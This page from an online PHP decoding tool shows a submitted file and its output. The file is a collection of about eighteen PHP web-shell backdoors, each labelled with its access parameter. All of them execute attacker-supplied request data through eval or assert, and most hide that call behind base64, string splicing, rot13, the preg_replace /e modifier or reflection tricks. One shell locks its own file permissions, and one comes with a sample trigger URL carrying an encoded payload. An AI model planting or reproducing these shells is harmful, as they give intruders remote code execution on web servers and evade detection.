Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $a = base64_decode(Y.X.N.z.Z.X.J01);$a($_POST[g]);?> /*----------------------------..
Decoded Output download
<?php $a = base64_decode(Y.X.N.z.Z.X.J01);$a($_POST[g]);?>
/*--------------------------------------------------------------------------------*/
<?php $x_x=base64_decode(Y.X.N.z.Z.X.J01);$x_x(($_POST[$_GET[a]]));?>
/*--------------------------------------------------------------------------------*/
<?php $p=base64_decode("bW93YW5n");$i['j']='assert';$a[]=$i;@$a[0]['j']($_POST[$p]);$filename = $php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);function set_writeable($file_name){if(@chmod($file_name,0444)){echo "OK";}else{echo "no";}}set_writeable($filename);?>
//mowang
/*--------------------------------------------------------------------------------*/
<?php substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['c']);?>
// http://192.168.1.5/x.php?x=lostwolf :php c
/*--------------------------------------------------------------------------------*/
<?php assert($_REQUEST["c"]);?> // c
/*--------------------------------------------------------------------------------*/
<?php $Exp=strrev($_POST[longmo]);eval($Exp($_POST[z0]));?>
//longmo
/*--------------------------------------------------------------------------------*/
<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST[cc]); ?>
/*--------------------------------------------------------------------------------*/
<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>
//-7
/*--------------------------------------------------------------------------------*/
<?php
array_map("assert",(array)$_REQUEST['zhe']);?>
?>
//zhe
/*--------------------------------------------------------------------------------*/
<?php
$item['wind'] = 'assert';
$array[] = $item;
$array[0]['wind']($_POST['xiaozhe']);
?>
//xiaozhe
/*--------------------------------------------------------------------------------*/
<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["#"]); ?>
//#
/*--------------------------------------------------------------------------------*/
<?($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');?>
//b4dboy
/*--------------------------------------------------------------------------------*/
<?php
$a = $_REQUEST['id'];
preg_replace('/.*/e',' '.$a,'');
?>
?id=eval%28base64_decode%28%22QGV2YWwoJF9QT1NUWydjJ10pOw%22%29%29; c
/*--------------------------------------------------------------------------------*/
<?php
$p =& $_GET;array_map($p['call'],$p);
?>
//call
/*--------------------------------------------------------------------------------*/
<?php $lang = (string)key($_POST);$lang($_POST['test']);?>
//test
/*--------------------------------------------------------------------------------*/
<?php $e = $_REQUEST['e'];$arr = array($_POST['settoken'],);array_map(base64_decode($e), $arr);?>
//settoken
/*--------------------------------------------------------------------------------*/
<?php
/**
* $a=$_POST[];
* assert
*/
$a='';
class TestClass { }
$rc = new ReflectionClass('TestClass');
$str=$rc->getDocComment();
$pos=strpos($str,'$a');
$eval=substr($str,$pos,15);
$pos=strpos($str,'assert');
$fun=substr($str,$pos,6);
echo $eval;
$fun($eval);
echo $a;
$fun($a);
?>
//TestClass
/*--------------------------------------------------------------------------------*/
Did this file decode correctly?
Original Code
<?php $a = base64_decode(Y.X.N.z.Z.X.J01);$a($_POST[g]);?>
/*--------------------------------------------------------------------------------*/
<?php $x_x=base64_decode(Y.X.N.z.Z.X.J01);$x_x(($_POST[$_GET[a]]));?>
/*--------------------------------------------------------------------------------*/
<?php $p=base64_decode("bW93YW5n");$i['j']='assert';$a[]=$i;@$a[0]['j']($_POST[$p]);$filename = $php_self=substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);function set_writeable($file_name){if(@chmod($file_name,0444)){echo "OK";}else{echo "no";}}set_writeable($filename);?>
//mowang
/*--------------------------------------------------------------------------------*/
<?php substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['c']);?>
// http://192.168.1.5/x.php?x=lostwolf :php c
/*--------------------------------------------------------------------------------*/
<?php assert($_REQUEST["c"]);?> // c
/*--------------------------------------------------------------------------------*/
<?php $Exp=strrev($_POST[longmo]);eval($Exp($_POST[z0]));?>
//longmo
/*--------------------------------------------------------------------------------*/
<?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST[cc]); ?>
/*--------------------------------------------------------------------------------*/
<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";
@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";
@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}
[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]);?>
//-7
/*--------------------------------------------------------------------------------*/
<?php
array_map("ass\x65rt",(array)$_REQUEST['zhe']);?>
?>
//zhe
/*--------------------------------------------------------------------------------*/
<?php
$item['wind'] = 'assert';
$array[] = $item;
$array[0]['wind']($_POST['xiaozhe']);
?>
//xiaozhe
/*--------------------------------------------------------------------------------*/
<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["#"]); ?>
//#
/*--------------------------------------------------------------------------------*/
<?($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');?>
//b4dboy
/*--------------------------------------------------------------------------------*/
<?php
$a = $_REQUEST['id'];
preg_replace('/.*/e',' '.$a,'');
?>
?id=eval%28base64_decode%28%22QGV2YWwoJF9QT1NUWydjJ10pOw%22%29%29; c
/*--------------------------------------------------------------------------------*/
<?php
$p =& $_GET;array_map($p['call'],$p);
?>
//call
/*--------------------------------------------------------------------------------*/
<?php $lang = (string)key($_POST);$lang($_POST['test']);?>
//test
/*--------------------------------------------------------------------------------*/
<?php $e = $_REQUEST['e'];$arr = array($_POST['settoken'],);array_map(base64_decode($e), $arr);?>
//settoken
/*--------------------------------------------------------------------------------*/
<?php
/**
* $a=$_POST[];
* assert
*/
$a='';
class TestClass { }
$rc = new ReflectionClass('TestClass');
$str=$rc->getDocComment();
$pos=strpos($str,'$a');
$eval=substr($str,$pos,15);
$pos=strpos($str,'assert');
$fun=substr($str,$pos,6);
echo $eval;
$fun($eval);
echo $a;
$fun($a);
?>
//TestClass
/*--------------------------------------------------------------------------------*/
Function Calls
| None |
Stats
| MD5 | cfb12a4ab872096f1d3eadf8ffd05054 |
| Eval Count | 0 |
| Decode Time | 113 ms |